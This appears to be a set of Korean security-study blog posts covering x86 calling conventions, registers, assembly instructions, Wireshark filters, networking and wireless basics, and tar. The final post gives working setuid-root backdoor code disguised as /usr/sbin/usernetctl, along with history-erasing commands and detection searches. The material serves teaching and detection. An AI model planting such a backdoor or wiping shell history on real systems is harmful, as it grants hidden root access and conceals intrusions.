함수호출규약


- 함수호출규약(Function Calling Convention)이란?


함수를 호출하는 방식에 대한 일종의 약속이다. 인수 전달 방법, 인자 전달 순서, 인자 정리 방법에 따라 그 종류를 구분한다

호출하는 쪽과 호출되는 쪽의 어느 한쪽이 약속을 어길 경우 함수도 제대로 동작하지 않으며 메모리가 엉망이 되기 때문에

프로그램을 정상적인 실행을 계속할 수 없다.


- 스택프레임

스택프레임을 보면 높은 주소에서 낮은 주소로 쌓여지며, 함수를 호출 할 때 마다 새로운 스택프레임이 생성되는 것을 볼 수 있다. 


- 함수 호출시 스택의 변화순서



- 함수 호출 규약의 구분


인자 전달 방법 : 스택 / 레지스터

인자 전달 순서 : 역방향(←)

인자 정리 방법 : Caller, Callee


* Caller(호출자) : 다른 함수를 호출한 함수

* Callee(피호출자) : 호출을 당한 함수


- cdecl

C언어와 C++에서의 표준 함수 호출 규약이다.

Caller가 인자를 정리하며, printf() 함수와 같은 가변 인자 함수를 사용 가능하다.

인자 전달 방법 : 스택

인자 전달 순서 : 역방향(←)

인자 정리 방법 : Caller


소스코드


어셈블리코드


- stdcall

Window API, Visual Basic에서 사용하는 표준 함수 호출 규약이다.

코드가 간결하고 가변 인자 함수를 사용할 수 없다.

인자 전달 방법 : 스택

인자 전달 순서 : 역방향(←)

인자 정리 방법 : Callee


소스코드


어셈블리코드


- fastcall

Delphi 에서 사용되는 함수 호출 규약이다.

인자 2개까지는 레지스터(ECX, EDX)를 사용해서 인자를 전달하므로 속도가 빠르다.

인자 3개 이상일 경우 스택과 함께 사용한다.

인자 전달 방법 : 스택 + 레지스터

인자 전달 순서 : 역방향(←)

인자 정리 방법 : Callee


소스코드


어셈블리코드





'보안 > 리버싱' 카테고리의 다른 글

Reversing -2 레지스터  (0) 2017.02.01
Reversing -1 어셈블리언어  (0) 2016.05.16


레지스터


레지스터란?

중앙처리장치(CPU)가 데이터를 처리하는 동안 중간 결과를 일시적으로 저장해 두는 고속 기억장치를 말한다.

중앙처리장치 내부에는 각 용도에 맞는 다양한 레지스터가 존재하며 연산처리 및 주소지정을 도와준다. 

크기는 레지스터마다 다르지만, 보통 32bit(4byte) 이다.


범용 레지스터


EAX

 EBP

EBX

 ESP

ECX

ESI

EDX

EDI


EAX, EBX, ECX, EDX 레지스터

EAX, EBX, ECX, EDX 레지스터는 위와 같이 나누어 사용 할 수 있다.


16bit 운영체제 시절에는 AX, BX, CX, DX와 같이 레지스터에 E를 붙이지 않고 불렀지만 

32bit로 확장되면서 E(Extended)가 앞에 붙어 EAX, EBX, ECX, EDX 등으로 부른다.

 64bit 경우에는 E대신 R을 붙인다. AX 레지스터의 상위부분(High)AH라고 하고 하위부분(Low)AL이라고 한다.


EAX (Extended Accumulator Register)

: 누산기 기능

: 산술·논리연산 저장

: 함수가 호출될 시 리턴 값이 저장되는 공간


EBX (Extended Base Register)

: 간접 주소 지정 시 사용된다. (특정 주소 저장)

: 산술·논리연산 저장


ECX (Extended Counter Register)

: 명령의 반복수행이 필요로 할 때 반복횟수 지정에 주로 사용

: ECX에 넣은 값은 한번 반복될 때 마다 1씩 감소하며 ECX > 0 조건을 만족할 때까지 반복


EDX (Extended Data Register)

: EAX 보조 역할(곱셈, 나눗셈을 할 때 보조 누산기로 사용)

: EAX에 들어가는 리턴 값이 32bit를 넘을 경우 나머지를 EDX에 저장


포인터 레지스터 //스택과 관련이 있는 레지스터


EBP (Extended Base Pointer)

: 스택프레임의 기준점이 된다.

: 스택 프레임을 사용하는 동안 EBP의 값은 변하지 않고 스택 프레임이 소멸되면 이전의 스택 프레임을 가리키게 된다.


ESP (Extended Stack Pointer)

: 스택프레임의 최상단의 주소를 가지고 있다.

: 현재까지 사용된 스택의 위치를 저장하는데 사용된다.


EIP (Extended Instruction Pointer)

: 다음에 실행할 명령어의 주소를 가지고 있다.

: CS 세그먼트 레지스터와 한 쌍이 되어 실행주소를 참조한다.

: 버퍼 오버플로우 공격에 사용되는 레지스터


인덱스 레지스터 //문자열과 관련이 있는 레지스터


ESI (Extended Source Index)

: 복사 혹은 비교를 하는데 사용되는 출발지의 문자열 주소가 들어간다.

EDI (Extended Destination Index)

: 복사 혹은 비교를 하는데 사용되는 도착지의 문자열 주소가 들어간다.


플래그 레지스터 //연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값을 저장하는 레지스터


EFLAGS (Extended FLAGS) 상태 값이 0이면 Clear 1이면 Set이라고 한다.


상태 플래그(Status Flag)

AF(Auxiliary carry Flag) : 10진수 연산에서 자리 올림/내림이 발생할 때 Set(1) 된다.

CF(Carry Flag) : 연산 결과, 자리 올림/내림이 발생할 때 Set(1) 된다.

OF(Overflow Flag) : 정수형 결과 값이 너무 큰 양수이거나 너무 작은 음수여서 피연산자 데이터 타입에 들어가지 않을 경우 Set(1)된다.

PF(Parity Flag) : 연산 결과, 1(binary)의 개수가 짝수 개일 때 Set(1) 홀수 개일 때 Clear(0)이다.

SF(Sign Flag) : 연산 결과, 최상위비트가 1일 때(음수) Set(1)되고, 양수이면 Clear(0)이다.

ZF(Zero Flag) : 연산 결과, 0이면 Set(1)되고 아니면 Clear(0)된다.


세그먼트 레지스터 //세그먼트 영역의 메모리에 주소를 지정하며 크기는 16bit


CS (Code Segment) : 코드 세그먼트의 시작 주소를 가리키며, Instruction Pointer(IP) 레지스터가 가진 offset 값과 합쳐서 실행을 위한 명령어의 주소를 참조

DS (Data Segment) : 데이터 세그먼트의 시작 주소를 가리키며, AX, CX, DX, SI, DI 레지스터와 합쳐서 데이터 영역의 주소를 참조하게 된다.

SS (Stack Segment) : 스택 세그먼트의 시작 주소를 가리키며, SP 혹은 BP 레지스터와 합쳐서 스택 영역의 주소를 참조하게 된다.

ES(Extra Segment) : 데이터 관련 확장 레지스터로 주로 문자 데이터의 주소를 지정하는데 사용한다.

FS : 데이터 관련 확장 레지스터로 TIB(Thread Information Block)의 정보를 가지고 있다.

GS : 데이터 관련 확장 레지스터

'보안 > 리버싱' 카테고리의 다른 글

Reversing -3 함수호출규약  (0) 2017.02.01
Reversing -1 어셈블리언어  (0) 2016.05.16

Wireshark


- Wireshark 다운로드 https://www.wireshark.org/#download


Wireshark install


1. 위의 링크에 들어가 자기에게 맞는 버전을 다운로드



2. 설치 과정

012345678


3. 실행 화면





Wireshark interface instruction


1. 실행 화면에서 이더넷 부분을 더블 클릭하면 패킷 캡쳐를 시작



2. 메뉴바

순서대로, 보면

- 패킷 캡쳐 시작(Start capturing packets)

- 패킷 캡쳐 정지(Stop capturing packets)

- 패킷 캡쳐 재시작(Restart current capture)

- 캡쳐할 인터페이스 선택(Capture options)


3. 와이어샤크 화면 


Packet List 영역위에 있는 필터창을 통해 자기가 원하는 정보를 걸러서 볼 수 있다.


4. 문자열 검색


Edit - Find Packet..메뉴를 클릭하고 드롭다운리스트 중에서 3번째(빨간색 네모 부분)을 String으로 설정한 후 

옆에 있는 검색창을 통해 원하는 문자열을 검색 할 수 있다.


- 필터 구문

 ip.addr == 192.168.0.123

 출발지나 도착지 IP 주소로 검색 

 ip.src == 192.168.0.123

 출발지 IP 주소 검색 

 ip.dst == 192.168.0.123

 도착지 IP 주소 검색

 ip.addr == 10.0.0.0/8

 출발지나 도착지 A클래스 Netid로 검색 

 ip.src == 10.0.0.0/16

 출발지 B클래스 Netid로 검색 

 ip.dst == 10.0.0.0/24

 출발지 C클래스 Netid로 검색 

 eth.addr == 00:30:f8:00:00:01

 출발지나 도착지 MAC주소로 검색

 eth.src == 00:30:f8:00:00:01

 출발지 MAC주소 검색

 eth.dst == 00:30:f8:00:00:01

 도착지 MAC주소 검색

 tcp.port == 80

 TCP 출발지나 도착지 포트 번호로 검색

 tcp.srcport == 80

 TCP 출발지 포트 번호로 검색

 tcp.dstport == 80

 TCP 도착지 포트 번호로 검색

 udp.port == 53

 UDP 출발지나 도착지 포트 번호로 검색

 udp.srcport == 53

 UDP 출발지 포트 번호로 검색

 udp.dstport == 53

 UDP 도착지 포트 번호로 검색

무선 네트워크 개요


- IEEE 802.11

IEEE 802.11은 흔히 무선랜, 와이파이(Wi-Fi)라고 부르는 무선 근거리 통신망(Local Area Network)을 위한 컴퓨터 무선 네트워크에 사용되는 기술로, IEEE의 LAN/MAN 표준 위원회 (IEEE 802)의 11번째 워킹 그룹에서 개발된 표준 기술을 의미한다.


- Wireless Activity

패턴 변경 요소

  • 반사
  • 멀티패스(다중경로 효과)
  • 산란
  • 회절
  • 굴절
  • 흡수
  • 자유공간 경로 손실

- RF Spectrum

한국은 2.4GHz 대역 사용

1~13 채널 사용

1채널 : 2.412

n채널 : 2.412 + (0.005×(n-1))

802.11 : 2.4 GHz 대역 사용, CSMA/CA 기술 사용, 최고 속도 2Mbps

802.11b : 2.4GHz 대역 사용, CSMA/CA 기술 사용, 최고 속도 11Mbps(실제 6~7Mbps 정도)

802.11a : 5GHz 대역 사용, OFDM 기술 사용, 최고 속도 54Mbps 

//장점 : 5Ghz 대역은 2.4GHz 대역에 비해 다른 통신기기와의 간섭이 적고, 더 넓은 전파 대역을 사용할 수 있다.

//단점 : 장애물이나 건물 등 주변 환경의 영향을 쉽게 받고 2.4GHz 대역에서 54Mbps 속도를 지원하는 802.11g 규격이 나오면서 잘 사용하지 않음. 

802.11g : 2.4GHz 대역 사용, 최고 속도 54Mbps, 802.11b 규격과 쉽게 호환

802.11n : 2.4GHz 대역 & 5GHz 대역 사용, 최고속도 600Mbps

802.11ac : 2.4GHz(802.11n과 호환성을 위해 40MHz까지 대역 지원) & 5GHz(높은 대역폭 80MHz~160MHz 대역 지원)

             이론 속도 : 6.93Gbps, 실제 속도 : 1.3Gbps 

802.11ad : 60GHz 대역 사용, 빔포밍 기술 사용, 최고 속도 7Gbps(실제 4.6Gbps), 장애물 통과가 어려워 10m이내 같은 공간 내에서만 사용 가능


- Antenna

Omni 

  • 무지향성 안테나
  • 넓은 지역 서비스
  • 스캐닝

Directional 

  • 지향성 안테나
  • 특정 지역 서비스
  • 타겟 고정해서 공격가능

- RF 감쇄 요인


 RF Barrier 

 상대적 감쇠 정도 

 공기중

 가장 낮음 

 목재

 낮음 

 플라스틱

 낮음 

 합성물질

 낮음 

 석면

 낮음 

 유리

 낮음 

 물

 중간 

 벽돌

 중간 

 대리석

 중간 

 종이

 높음 

 시멘트

 높음 

 방탄유리

 높음 

 금속

 매우 높음 


네트워크 개요


- TCP/IP

네트워크 인터페이스 계층(물리,데이터링크 계층

· MAC 주소
 데이터링크계층의 MAC 계층에 의해 사용되는 48비트의 하드웨어 주소

 어떠한 네트워크 카드도 동일한 MAC 주소를 가지지 않음


· CSMA/CD

 Carrier Sense : 말하기 전에 듣기

 Multiple Access : 아무도 이야기 하지 않을 때 자유롭게 말하기

 Collision Detection : 거의 동시에 이야기를 시작하여 충돌 발생


· Ethernet

 근거리에 위치한 컴퓨터간에 데이터 전송이 가능하도록 하는 통신 기능을 제공

 현재 가장 널리 사용되는 LAN의 연결 방법


IP 계층(네트워크 계층) 

· Forwarding & Routing

 Forwarding : 패킷이 라우터의 입력 링크에 도달 시 라우터는 패킷을 적절한 출력링크로 이동 시켜야 함

 Routing : 송수신자가 패킷을 전송할 때 패킷 경로를 결정함


· IP(Internet Protocol)

 대표적인 네트워크 계층의 프로토콜

 32bit의 2진수로 구성

 실제 표시 : 8bit 단위로 점을 찍고 10진수로 표시


· IP 주소 구성

 네트워크 주소(Netid) : 호스트가 연결되어 있는 네트워크 확인

 호스트 주소(Hostid) : 네트워크의 호스트 중에 하나의 특정 호스트 확인

 

· IP Class

 A Class(0~127)   11111111.00000000.00000000.00000000 255.0.0.0

 B Class(128~19111111111.11111111.00000000.00000000 255.255.0.0

 C Class(192~22311111111.11111111.11111111.00000000 255.255.255.0


· 사설 IP 주소 대역

10.0.0.1 ~ 10.255.255.254

172.16.0.1 ~ 172.31.255.254

192.168.0.1 ~ 192.168.255.254


· Subnet Mask

 TCP/IP 프로토콜에 의해 호스트가 로컬 서브넷에 있는지 아니면 원격 네트워크에 있는지를 확인하는데 사용

 32bit길이를 갖고 bit가 1인 부분을 Network bit , bit가 0인 부분을 Host bit로 구분


· Routing

 ex) 아이피 대역이 2번 바뀜 = 라우팅이 2번

 ex) 라우터의 수 = 라우팅 수


· NAT

 네트워크 주소 변환(Network Address Translation)


· ARP

 IP 주소를 MAC 주소로 변환 하는 것


· RARP

 MAC 주소를 IP 주소로 변환 하는 것 


· MAC테이블에 통신한 MAC주소를 적어놓음


· MAC 주소 FF:FF:FF -> broadcast


· ip 맨끝자리 XXX.XXX.XXX.255 -> broadcast


· ICMP

 목적 : 송신측의 상황과 목적지 노드의 상황 진단

 IP 계층 or 보다 상위 계층 프로토콜(TCP, UDP)에 의해 이용됨

 ICMP 메세지는 사용자 프로세스에게 되돌려 주는 에러 메시지 생성

 ICMP 메세지는 IP 데이터 그램을 전송


TCP/UDP 계층(전송 계층)

· TCP/UDP 프로토콜이 존재


· 응용프로그램의 데이터를 세그먼트 단위로 분할

 하위의 네트워크 계층으로 전달

 하위 계층으로 전달 하면서 헤더 추가


· 데이터 신뢰성 정보 및 흐름 제어와 관련된 정보


· TCP

 신뢰할 수 있는 데이터 전송

 흐름제어

 혼잡제어

 SYN : 응답요청

 ACK : 응답 

 FIN : Finish(연결 종료 요청)

 RST : Reset(초기화),강제종료

 PSH : PUSH(우선 처리 요청)


· UDP

 신뢰할 수 없는 데이터 전송

 흐름제어 X

 혼잡제어 X


· 포트번호

 포번호 

 서비스 

 서비스 내용 

 20 

 FTP-Data 

 데이터 전송 (다운로드시 사용)

 21

 FTP

 FTP 연결 시 인증 과 컨트롤(로그인 , 파일 및 디렉토리)

 22

 SSH

 패킷이 암호화되어 전송 Telnet과 같은 비 암호화 프로그램을 대체

 23

 Telnet

 Telnet 서비스로서 원격지의 서버의 실행 창을 얻어냄

 25

 SMTP 

 메일을 보낼 때 사용하는 서비스

 53

 DNS 

 Domain Name Service 이름을 해석하는 데 사용하는 서비스

 80

 HTTP

 Hyper Text Transfer Protocol 웹 서비스

 443

 HTTPS

 Open SSL 암호 모듈로 암호화된 웹 통신 

 3306

 MySQL 

 MySQL 서비스 포트

 3389

 RDP

 원격 데스크톱(윈도우기반 원격) 


응용프로세스 계층(세션,표현,응용 계층)

· 다양한 프로토콜들의 사용 및 지원

· 사용자 응용 프로토콜 (FTP , SMTP , HTTP)

· 제공 응용 프로토콜 (SNMP , DNS)



- 트래픽 분류

· 유니캐스트(Unicast) //단일

· 멀티캐스트(Multicast) //그룹

· 브로드캐스트(Broadcast) //전체

네트워크 개요


- 네트워크란?

Net + work = 그물 + 일하다

컴퓨터간의 대화를 나누는 것


- 네트워크의 종류

· P2P네트워크

· 클라이언트/서버 네트워크


- 네트워크의 토폴로지

· Star Topology

· Bus Topology

· Ring Topology

· Mesh Topology


- OSI 7 Layer

7 Layer 응용 계층

사용자 인터페이스 제공

웹, 전자우편, 원격파일 접근, 디렉토리 서비스


6 Layer 표현 계층

암호화/복호화

데이터의 압축/압축 해제


5 Layer 세션 계층

사용자 위주의 논리적인 연결 서비스 제공

데이터 에러 발생시 복구를 관리

Full-Duplex(양방향통신), Half-Duplex, Simplex


4 Layer 전송 계층 - Segment 단위

TCP/UDP

프로토콜(TCP, SPX 등)과 관련된 계층으로, 오류 복구, 흐름 제어 담당

두 시스템간의 신뢰성 있는 데이터 전송을 보장

시스템 종단 간에 투명한 데이터 전송을 양방향으로 행하는 계층


3 Layer 네트워크 계층 - Packet 단위(Datagram 단위)

IP

라우팅 프로토콜을 사용하여 최적의 경로를 선택

장비 : 라우터


2 Layer 데이터링크 계층 - Frame 단위

MAC(물리적 주소, 하드웨어 주소)

물리적 링크를 통해 신뢰성 있게 전송하는 계층

네트워크를 통해서 데이터가 전송될 때 전송로 역할을 함

장비 : 브릿지, 스위치


1 Layer 물리 계층 - Bit 단위

전기, 기계, 기능적인 특성을 이용하여 통신 케이블로 데이터 전송

장비 : 케이블, 리피터(증폭기), 허브

어셈블리언어


어셈블리언어란?

기계어를 사람이 알아보기 쉬운 니모닉 기호(mnemonic symbol)를 사용해 1:1 대응이 되는 컴퓨터 프로그래밍의 저급 언어이다. 

* 기계어: 컴퓨터가 읽을 수 있는 2 진 숫자(Binary digit, 0 과 1)로 이루어진 언어. 

* 니모닉 기호: 기계어로 된 일련의 숫자를 알아보기 쉽게 언어(단어)로 바꿔준 것. 


- IA-32 레지스터(32bit) // IA -64 레지스터 (64bit) 는 E 대신 R이 붙음

EAX : 누산기 , 산술·연산저장 , 리턴값

EBX : 간접주소지정, 산술·연산저장 

ECX : 반복카운터(차감) , ECX > 0

EDX : EAX 보조역할 //리턴값이 32bit수를 넘어갈 때 나머지를 EDX에 저장

EBP : 스택프레임 기준

ESP : 스택프레임 최상단

ESI I: 출발지(Source) 주소를 담는 공간 

EDI I: 목적지(Destination) 주소를 담는 공간 

EIP I: 다음 실행될 명령어의 주소를 담고 있는 레지스터

EFLAGS : [상태값 : 0(clear), 1(set)], AF,CF,OF,PF,SF,ZF 

  ZF: 산술연산결과가 0일 때 1로 set 되는 flag 

  ex) 1+1 = 2 ZF : 0 

      1-1 = 0 ZF : 1


- 데이터 형식

 BYTE 

 부호 없는 1 byte 

 WORD

 부호 없는 2 byte 

 DWORD

 부호 없는 4 byte 


- INC //operand의 값 1 증가

#include<stdio.h>

int main(){

int a=0;


_asm{ //_asm{} -> 인라인 어셈블러

INC a //or INC [EBP-0x04]

}


printf("%d\n",a);


return 0;

}


- DEC //operand의 값 1 감소

#include<stdio.h>

int main(){

int a=1;


_asm{

DEC a //or DEC [EBP-0x04]

}

printf("%d\n",a);


return 0;

}


- ADD //덧셈

#include<stdio.h>

int main(){

int a=0;


_asm{

ADD a, 0x05

}

printf("%d\n",a);


return 0;

}


- SUB //뺄셈

#include<stdio.h>

int main(){

int a=1;


_asm{

SUB a, 0x01

}

printf("%d\n",a);


return 0;

}


- MOV //복사,대입

#include<stdio.h>

int main(){

int a=0;


_asm{

MOV a, 0x02

}

printf("%d\n",a);


return 0;

}


ex) 예제문제

#include<stdio.h>

int main(){

int a,b,c,d;

a=b=c=0;


_asm{

MOV a , 0x03 // a주소에 3 대입

MOV b , 0x05 // b주소에 5 대입

MOV c , 0x0A // c주소에 10 대입

INC [EBP-0x08] // b주소에 1 증가

DEC [EBP-0x0C] // c주소에 1 감소

MOV EAX,[EBP-0x08] // EAX에 b주소에 있는 값 대입 

ADD EAX,[EBP-0x0C] // EAX(b) , c주소에 있는 값 두 개 더해서 EAX에 대입

MOV [EBP-0x04],EAX // a주소에 EAX값 대입

MOV EBX,[EBP-0x04]

SUB EBX,[EBP-0x0C]

MOV [EBP-0x08], EBX

}

printf("%d\n",a);

printf("%d\n",b);

printf("%d\n",c);

return 0;

}



- AND 

#include<stdio.h>

int main(){

int a=10;


_asm{

AND a, 0x06 

}

printf("%d\n",a);


return 0;

}


- OR

#include<stdio.h>

int main(){

int a=20;


_asm{

OR a, 0x0C

}

printf("%d\n",a);


return 0;

}


- XOR

#include<stdio.h>

int main(){

int a=12;


_asm{

XOR a, 0x08

}

printf("%d\n",a);


return 0;

}


- SHL & SHR //bit 이동

#include<stdio.h>

int main(){

int a=4;

printf("%d\n",a);


_asm{

SHL a, 0x01 //×2

}

printf("%d\n",a);

_asm{

SHR a, 0x02 //÷2

}

printf("%d\n",a);

return 0;

}

- PUSH & POP //push 한 만큼 pop 해야함

#include<stdio.h>

int main(){

int a=0;

_asm{

 push a

 push 0x10

 push eax

 

 pop eax

 pop a

 pop ebx

}

printf("%d\n",a);

return 0;

}


- PUSHAD //EAX->ECX->EDX->EBX->ESP->EBP->ESI->EDI , PUSH만 했기 때문에 에러남!

#include<stdio.h>

int main(){

int a=0;

_asm{

PUSHAD //범용 레지스터의 값들을 스택에 저장 = 백업하는 용도 

}

printf("%d\n",a);

return 0;

}

- POPAD 

#include<stdio.h>

int main(){

int a=0;

_asm{

POPAD //스택의 데이터를 범용 레지스터에 채움 

}

printf("%d\n",a);

return 0;

}


- PTR //데이터 타입 재정의

#include<stdio.h>

int main(){

int a = 1;

printf("%x\n",a); //1

_asm{

MOV WORD PTR a, 0x11111111

}

printf("%x\n",a); //1111

_asm{

MOV DWORD PTR a, 0x11111111

}

printf("%x\n",a); //11111111


return 0;

}


- OFFSET //전역변수 주소값 구하기

#include<stdio.h>

int g=10;

int main(){

int addr = 0;

int val = 0;

_asm{

MOV EAX, OFFSET g //데이터 세그먼트(영역) 시작부터의 상대적 거리값

MOV addr , EAX


MOV EBX, [EAX]

MOV val, EBX

}

printf("%x\n",addr);

printf("%x\n",val);

return 0;

}


- LEA //주소값 구하기

#include<stdio.h>

int main(){

int a = 4;

printf("%.8x\n",a);

printf("%.8x\n",&a);

_asm{

MOV EAX, [EBP-0x04]

MOV a, EAX

}

printf("%.8x\n",a);

_asm{

LEA EAX, [EBP-0x04]

MOV a, EAX

}

printf("%.8x\n",a);

return 0;

}


- STOS // EDI가 가르키는 주소에 EAX 값을 저장

#include<stdio.h>

int main(){

char Buffer[20];

      _asm{

MOV EAX, 0x00

LEA EDI, DWORD PTR [Buffer]

STOS DWORD PTR [EDI]

      }

printf("%s\n",Buffer);

      return 0;

}

- REP //Repeat , STOS,MOVS,SCAS 에서 사용가능

#include<stdio.h>

int main(){

char Buffer[20];

      _asm{

MOV EAX, 0x00

LEA EDI, DWORD PTR [Buffer]

MOV ECX, 0x05

REP STOS DWORD PTR [EDI]

      }

printf("%s\n",Buffer);

      return 0;

}

- MOVS //ESI가 가리키는 곳에 값을 EDI가 가리키는 곳에 복사(대입)

#include<stdio.h>

#include<string.h>

int main(){

char * str1 = "Hello~ world!!!";

      char str2[20];

      int Len = strlen(str1);

      _asm{ //strcpy 구현

MOV ESI, DWORD PTR [str1]

LEA EDI, DWORD PTR [str2]

MOV ECX, Len

REP MOVS BYTE PTR [EDI], BYTE PTR[ESI]

MOV BYTE PTR [EDI], 0x00

      }

printf("%s\n",str2);

      return 0;

}


- TEST //묵시적 AND 연산 , OPRAND에는 영향을 미치지 않음 , ZF:0

#include<stdio.h>

int main(){

int a = 3;

_asm{

TEST a, 0x02 

//ex) TEST EAX, EAX 리턴값이 NULL이 아닌지 확인

}

printf("%d\n",a);

return 0;

}


- CMP //내부적으로 - 연산

#include<stdio.h>

int main(){

int a = 5;

_asm{

CMP a, 0x05 //OPRAND에는 영향을 미치지 않음 

//CF:부호없는 산술연산 결과(음수 포함)가 너무 커서 담을 수 없을 때 1로 set 되는 flag , ZF:0

}

printf("%d\n",a);

return 0;

}


ex) CMP 5, 6 = -1 ZF:0 CF:1

ex) CMP 6, 5 = 1  ZF:0 CF:0

ex) CMP 5, 5 = 0  ZF:1 CF:0


- JMP//지정한 위치 이동에 사용

#include<stdio.h>

int main(){

int a = 5;

_asm{

JMP L1

MOV a, 0x09


L1: //레이블은 인라인 어셈 안이나 밖이나 사용 가능

MOV a, 0x01

}

printf("%d\n",a);

return 0;

}


- 조건 점프 명령

 JA 

 CMP a > b

 JB

 CMP a < b

 JE

 CMP a == b

 JNE

 CMP a != b

 JZ

 TEST EAX, EAX (EAX = 0), ZF = 1

 JNZ

 TEST EAX, EAX (EAX = 1), ZF = 0


 JAE

 CF = 0 and ZF = 0 

 JBE

 CF = 1 and ZF = 1 

 JC

 CF = 1 

 JCXZ

 CX = 0 

 JECXZ

 ECX = 0 

 JG

 ZF = 0 and SF == OF 


- call
 
//레이블은 인라인 어셈 안이나 밖이나 사용 가능

#include<sdtio.h>

int sum(){

int a = 0;

int b = 2;

printf("Result\n");

return a + b;


}

int main(){

int result =0;

printf("%d\n", result);

_asm{

CALL sum

MOV result, EAX

}

printf("%d\n",result);

return 0;

}


- RET (== RETN) //ESP 레지스터가 가리키는 값을 EIP 레지스터에 저장

호출한 함수가 명령을 마치고 돌아갈 주소를 지정한 공간이다. 

인자를 정리할 때 사용한다. * RET imm8 = RET 0~255 

ex) RET 8 -> ESP 를 8bit 만큼 증가 

 

- NOP //아무 일도 하지 않는 명령어 

1byte 의 크기를 가지며 16 진수로 0x90 이다. 

명령어 사이의 빈공간을 채워주는 역할을 한다. 

- 바이너리 디버거 다운로드

OllyDBG          http://www.ollydbg.de/

Immunity DBG    http://debugger.immunityinc.com/

IDA Pro          https://www.hex-rays.com/products/ida/support/download.shtml

WinDBG          https://msdn.microsoft.com/ko-kr/windows/hardware/hh852365.aspx



'보안 > 리버싱' 카테고리의 다른 글

Reversing -3 함수호출규약  (0) 2017.02.01
Reversing -2 레지스터  (0) 2017.02.01

정보 통신과 프로토콜


- 정보와 데이터

데이터 : 인간이나 컴퓨터가 처리할 수 있도록 간단히 문자, 숫자, 기호 등으로 표현

정보 : 특정 목적을 위해 의미를 부여한 데이터


- 정보 통신

정보 생산자로부터 그 정볼르 필요로 하는 소비자에게 전달하는 행위


-보안성 3가지

· 기밀성

· 가용성

· 무결성


-프로토콜

네트워크 장비들을 통해 각 컴퓨터들이 데이터를 주고 받는 규칙


-프로토콜의 기능

· 주소지정(Addressing) : 하나의 개체가 상대 개체에 데이터를 전송할 경우 상대의 이름을 알아야 함

  출발지 -> 보내는 사람 -> src -> SA (Source Address)

  도착지 -> 받는 사람 -> dst -> DA (Destination Address)

  주소 타입(ip,mac)


· 순서지정(Sequencing) : 프로토콜 데이터 단위가 전송될 때 보내지는 순서를 명시하는 기능 (연결지향형에만 사용)

                   순서를 지정하는 이유는 순서에 맞게 전달, 흐름제어 ,오류제어 위함


· 단편화와 재조합(Fragmentation and Reassembly)

  최대 전송단위 -> MTU : 1500 byte

  최소 전송단위 -> MINTU : 46 byte

'보안 > 네트워크해킹' 카테고리의 다른 글

NetworkHacking -4 Wireshark  (0) 2016.09.07
NetworkHacking -3 네트워크 개요Ⅱ  (0) 2016.05.18
NetworkHacking -2 네트워크 개요Ⅰ  (0) 2016.05.17

tar 명령어 옵션

 -z 

 gzip으로 압축하거나 해제함

 -x

 tar 압축을 풀기

 -v

 묶거나 파일을 풀 때 과정을 화면으로 출력

 -f

 파일 이름을 지정

 -c

 파일을 tar로 묶음

 -p

 파일 권한을 저장

 -C

 경로를 지정


tar 압축 : tar -cvf [파일명.tar] [폴더명]

tar 압축 풀기 : tar -xvf [파일명.tar]

tar.gz 압축 : tar -zcvf [파일명.tar.gz] [폴더명]

tar.gz 압축 풀기 : tar -zxvf [파일명.tar.gz]

'보안 > Linux' 카테고리의 다른 글

Linux -19 Firewall , TCP wrapper , Iptables  (0) 2016.04.18
Linux -18 Zeroboard  (0) 2016.04.18
Linux -17 APM , APM Install  (0) 2016.04.15
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12

Backdoor


- 정의

· 시스템 접근에 대한 사용자의 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램이다.

· 해킹 성공 후의 후속조치이다. (크래커)

· 개발 과정 및 원격에서 문제 해결에 필요한 통로이다. (관리자)


- 백도어 종류

· 로컬 백도어

· 원격 백도어

· 원격 GUI 백도어

· 패스워드 크래킹 백도어

· 시스템 설정변경

· 트로이 목마형

· 거짓 업그레이드

· 네트워크 데몬이나 시스템 유틸리티를 수정한 백도어

· TCP/IP 프로토콜을 이용한 Shell binding 백도어

· Kernel 모듈을 수정한 백도어

· 방화벽을 우회하는 백도어


- 로컬 백도어

vi back.c //vi에디터로 back.c 라는 파일을 만듬

#include<stdio.h>

int main (){

        printf("usage: usernetctl <interface-config> <up|down|report>\n");

        setuid(0);

        setgid(0);

        system("/bin/bash");

}

gcc -o back back.c //back.c 소스 코드를 컴파일하고 실행 파일을 빌드

chmod 4755 back //back라는 파일에 권한부여

find / -perm +4000 1> /dev/null //에러값 보기

find / -perm +4000 2> /dev/null //에러값 제외하고 보기

/usr/sbin/usernetctl //필요없는 파일

mv /tmp/back /usr/sbin/usernetctl //back이라는 파일을 usernetctl로 덮어씌워 은닉하기

다른 계정이 /usr/sbin/usernetctl 을 실행 시 root계정으로 바뀐다.

- 은닉 & 탐지

[은닉] -기본 setuid 프로그램 바꿈


[탐지]

1.history //단점 : 시간 기록 X

  history -c //사용한 명령어 내용 지우기


2.find

find / -perm +4000 2>/dev/null

find / -perm +4000 1>/dev/null

-name : 이름을 기준으로 찾는다.

-perm : 퍼미션을 기준으로 찾는다.


3.find / -atime n

-atime : 접근 시간(n일 이전에 접근할 파일을 찾을 때)

->파일을 오픈하면 atime 갱신

-ctime : 변경 시간(n일 이전에 변경된 파일을 찾을 때)

->속성값이 바뀐 시점(퍼미션, 소유주 등 파일의 속성값이 변경)

-mtime : 수정 시간(n일 이전에 수정된 파일을 찾을 때)

->파일의 내용이 바뀌었을 때

-n은 n 이하를 반환

+n은 n 이상을 반환 

find / -ctime -1 -perm +4000 <--24시간 내에 생성된 setuid 파일


.bash_history 찾

find / -name .bash_history //.bash_history 찾기

.bash_history 파일 //각 계정마다 사용했던 명령어들 기록이 있음


.bash_history 링크 걸기

rm -rf .bash_history

ln -s /dev/null .bash_history


.bash_history 생성 X

find / -name /root/.bash_profile(각 계정마다 환경을 설정

export HISTSIZE=0 이나 export HISTFILE=/dev/null


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -2 Setuid  (0) 2016.04.28
SystemHacking -1 Password Cracking  (0) 2016.04.20

+ Recent posts